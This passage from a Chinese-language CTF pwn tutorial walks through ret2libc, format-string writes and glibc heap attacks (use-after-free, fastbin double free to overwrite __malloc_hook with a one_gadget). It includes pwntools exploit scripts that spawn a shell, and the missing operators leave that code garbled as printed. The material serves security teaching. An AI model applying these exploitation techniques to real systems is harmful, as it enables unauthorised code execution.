或者使用pwntools在脚本中计算 from pwn import * libc ELF(‘./libc.so.6’) system_offset libc.sym[‘system’] binsh_offset next(libc.search(b’/bin/sh’))一个典型的利用脚本框架如下from pwn import * context.log_level ‘debug’ context.arch ‘i386’ p process(‘./pwn05’) elf ELF(‘./pwn05’) libc ELF(‘./libc.so.6’) # 1. 泄露libc地址 payload1 b’A’*offset p32(elf.plt[‘puts’]) p32(elf.sym[‘main’]) p32(elf.got[‘puts’]) p.sendlineafter(b’’, payload1) leak u32(p.recv(4)) # 接收puts的地址 libc_base leak - libc.sym[‘puts’] # 2. 计算目标地址并二次攻击 system_addr libc_base libc.sym[‘system’] binsh_addr libc_base next(libc.search(b’/bin/sh’)) payload2 b’A’*offset p32(system_addr) p32(0xdeadbeef) p32(binsh_addr) p.sendlineafter(b’’, payload2) p.interactive()注意事项在构造payload时要特别注意函数调用后的栈平衡问题。比如如果用来泄露地址的函数是puts它正常返回后栈顶指针会变化。我们通常选择跳回main函数或另一个输入点让程序“重启”以便进行第二次溢出攻击。这就是为什么上面payload1中在puts的返回地址处填的是main的地址。5. 高级利用技术格式化字符串与堆漏洞初探掌握了栈溢出和基础Ret2libc后CTFshow的中阶题目会引入其他类型的漏洞拓宽你的攻击面。5.1 格式化字符串漏洞任意读写的利器当程序使用像printf(user_input)这样危险的语句时如果user_input是我们可控的就产生了格式化字符串漏洞。我们可以插入格式化符如%x,%p,%s,%n来读写栈内存。%p,%x泄露栈上的数据地址。%s将栈上某个值解释为指针泄露该指针指向的字符串可用于泄露GOT表内容得到函数地址。%n这是一个关键的攻击原语。它不输出内容而是将截至目前已输出的字符数写入到栈上对应的参数所指向的地址。这允许我们向任意地址写入一个数值。利用步骤通常为确定偏移输入一串%p或%x如%p.%p.%p.%p.%p观察输出确定我们输入的内容在栈上的第几个参数位置。泄露信息使用%偏移$s来泄露特定地址的内容例如泄露puts在GOT表中的地址从而计算libc基址。任意地址写使用%偏移$n或%偏移$hnh表示写入2字节向目标地址如GOT表中的printf项写入数据将其修改为system的地址。当下次程序调用printf时实际上就调用了system如果我们能同时控制传入的参数就能getshell。例如假设我们输入AAAA%6$p程序输出AAAA0x41414141说明AAAA即0x41414141位于栈上第6个参数的位置从0开始计。那么如果我们输入p32(target_addr) b’%6$n’就能将已输出的字节数这里是4因为p32(target_addr)是4字节写入到target_addr指向的内存中。实操技巧pwntools的fmtstr_payload函数可以自动构造复杂的格式化字符串攻击payload非常方便。但理解其原理对于手动调试和应对变形题目至关重要。5.2 堆漏洞Use-After-Free与Double Free堆是程序运行时动态分配内存的区域。堆漏洞的利用比栈溢出更复杂因为它涉及内存管理器的行为如glibc的ptmalloc。Use-After-Free程序释放了一块堆内存free但之后又继续使用如读、写指向这块内存的指针dangling pointer。Double Free对同一块堆内存进行了两次释放。这两种漏洞的核心攻击思想是破坏堆管理器的数据结构最终实现任意地址写如修改__free_hook或__malloc_hook为system地址或控制堆块内容在堆上伪造一个“小对象”其虚表指针指向我们控制的区域从而控制程序流。CTFshow的堆入门题通常会关闭ASLR和tcacheglibc 2.26引入的线程缓存机制使利用变复杂让我们专注于理解fastbin,unsorted bin等基础概念。例如通过double free和fastbin attack可以将一个堆块分配到__malloc_hook附近然后修改__malloc_hook为one_gadgetlibc中一段能直接启动shell的指令序列的地址。分析堆题的基本流程检查保护checksec。静态分析用IDA Pro或Ghidra查看程序逻辑找出分配、释放、编辑、打印堆块的功能。动态调试使用GDB配合Pwndbg的堆命令如heap,bins,chunk观察堆块状态和bin的变化。构思利用链如何通过漏洞操作使得最终malloc返回一个我们可控的地址如__malloc_hook。计算偏移利用unsorted bin泄露libc基址因为其中的fd和bk指针指向main_arena而main_arena在libc中。构造payload并实施攻击。堆利用的学习曲线较陡建议从how2heap这个经典仓库的示例程序开始配合调试一步步理解。6. 实战全流程以一道典型题目为例让我们将上述知识串联起来模拟解决一道CTFshow中综合性的PWN题假设为pwn08。6.1 侦察阶段信息收集拿到题目附件pwn08和可能的libc.so.6。file pwn08 checksec pwn08假设输出显示是64位程序只开启了NX保护栈不可执行。用IDA Pro打开进行静态分析。发现主程序有一个菜单1. Add 2. Delete 3. Edit 4. Show 5. Exit这是一个典型的“堆菜单题”。Add函数分配固定大小的chunk如0x80并将指针保存在全局数组。Delete函数free掉chunk但未将指针置NULL存在UAF。Edit和Show函数使用该指针未检查chunk是否已释放存在UAF。6.2 漏洞利用链设计与实现第一步泄露libc地址由于有Show功能我们可以利用UAF泄露堆块内容。在glibc中当一个被释放的chunk进入unsorted bin大小大于fastbin它的fd和bk指针会指向main_arena中的地址这个地址相对于libc基址的偏移是固定的。申请两个大于fastbin的chunk如size0x90释放第一个它会被放入unsorted bin。利用UAF通过Show功能打印第一个chunk的内容读出fd指针计算libc基址。add(0, 0x88, b’A’*0x88) add(1, 0x88, b’B’*0x88) # 防止与top chunk合并 delete(0) show(0) leak u64(p.recvuntil(b’\x7f’)[-6:].ljust(8, b’\x00’)) libc_base leak - 0x3ebca0 # main_arena96 在特定libc中的偏移 malloc_hook libc_base libc.sym[‘__malloc_hook’] one_gadget libc_base 0x4f302 # 通过one_gadget工具找到的地址第二步构造任意写原语——Fastbin Attack目标是修改__malloc_hook。我们可以利用fastbin的机制。首先通过double free在fastbin中制造一个循环链表。add(2, 0x68, b’C’*0x68) add(3, 0x68, b’D’*0x68) delete(2) delete(3) delete(2) # double free!此时fastbin链表中 chunk2 - chunk3 - chunk2 …。我们通过Edit修改chunk2的fd指针将其指向__malloc_hook附近的一个伪造的chunk需要满足size字段检查通常找0x7f。# 假设在__malloc_hook-0x23处有一个0x7f的字节可以作为fake chunk的size fake_chunk_addr malloc_hook - 0x23 edit(2, p64(fake_chunk_addr))连续申请两次0x68大小的chunk第一次得到chunk2第二次就会得到指向fake_chunk的chunk。add(4, 0x68, b’E’*0x68) # 拿到原chunk2 add(5, 0x68, b’F’*0x68) # 拿到fake_chunk其数据区从__malloc_hook-0x230x10开始第三步覆盖__malloc_hook并触发现在我们可以通过Edit功能修改chunk5即fake chunk的内容覆盖__malloc_hook。payload b’G’*(0x23-0x10) p64(one_gadget) # 填充到hook位置并写入one_gadget地址 edit(5, payload)最后触发一次malloc调用例如再Add一个chunk__malloc_hook就会被调用转而执行我们的one_gadget弹出shell。add(6, 0x10, b’trigger’) p.interactive()6.3 调试技巧与问题排查在实际操作中脚本可能一次不成功。常见的排查点偏移计算错误libc版本是否匹配main_arena偏移、one_gadget偏移是否正确用vmmap命令在GDB中查看libc加载基址进行验证。堆布局不稳定由于内存对齐、tcache如果开启等因素堆布局可能与预期有细微差别。多调试几次观察每次堆状态。one_gadget条件不满足one_gadget通常对寄存器或栈内容有约束条件如[rsp0x40] NULL。如果不满足程序会崩溃。此时需要尝试其他one_gadget或通过ROP先调整寄存器状态再跳转。利用链被破坏确保在double free后fastbin的链表状态符合预期。使用Pwndbg的heap bins fast命令查看。调试时在关键操作如delete后、edit前下断点观察内存变化。将复杂的利用脚本分阶段执行每完成一步就暂停用GDB检查状态是否符合预期。7. 从解题到精通学习路线与资源推荐走通了CTFshow的PWN入门路线你只是拿到了PWN世界的入场券。要想真正精通需要系统性地构建知识体系。建议的学习路线计算机系统基础深入理解《深入理解计算机系统》中关于程序表示、链接、异常控制流、虚拟内存的章节。这是内功。汇编语言至少熟悉x86/x64的基本指令、寄存器、栈操作和调用约定。不要求手写但要能读懂。漏洞类型专题突破栈相关ROPRet2libc, Ret2csu, SROP、栈迁移stack pivoting、Canary绕过泄露、爆破、FSOP。堆相关深入理解glibc malloc源码ptmalloc2掌握tcache, fastbin, unsorted bin, small/large bin的攻击手法如tcache poisoning, house of系列。其他漏洞格式化字符串、整数溢出、条件竞争等。保护机制与绕过系统学习ASLR, PIE, RELRO, FORTIFY等保护机制的原理及绕过方法。高级技巧如利用FILE结构体进行攻击_IO_FILE利用如house of orange, house of pig内核PWN基础等。必备工具与资源练习平台CTFshow题库、BUUCTF、Pwnable.kr、Pwnable.tw、HackTheBox。知识库CTF Wiki、how2heap、azeria-labs的ARM汇编教程。社区关注安全团队的博客、GitHub仓库参与CTF比赛复盘。最后也是最重要的心得多动手多调试多总结。不要满足于跑通别人的EXP。尝试自己从零开始分析一道题即使花上几天时间。遇到问题仔细对比自己的思路和别人的WPWriteup差异在哪里。建立一个自己的笔记库记录每类漏洞的利用模式、调试命令和踩过的坑。PWN的学习是一场马拉松扎实走好每一步你收获的将不仅是解题的乐趣更是对计算机系统底层深刻的理解力。
![[C++]内存管理：串顺序存储的内存回收](http://pic.xiahunao.cn/yaotu/[C++]内存管理：串顺序存储的内存回收)
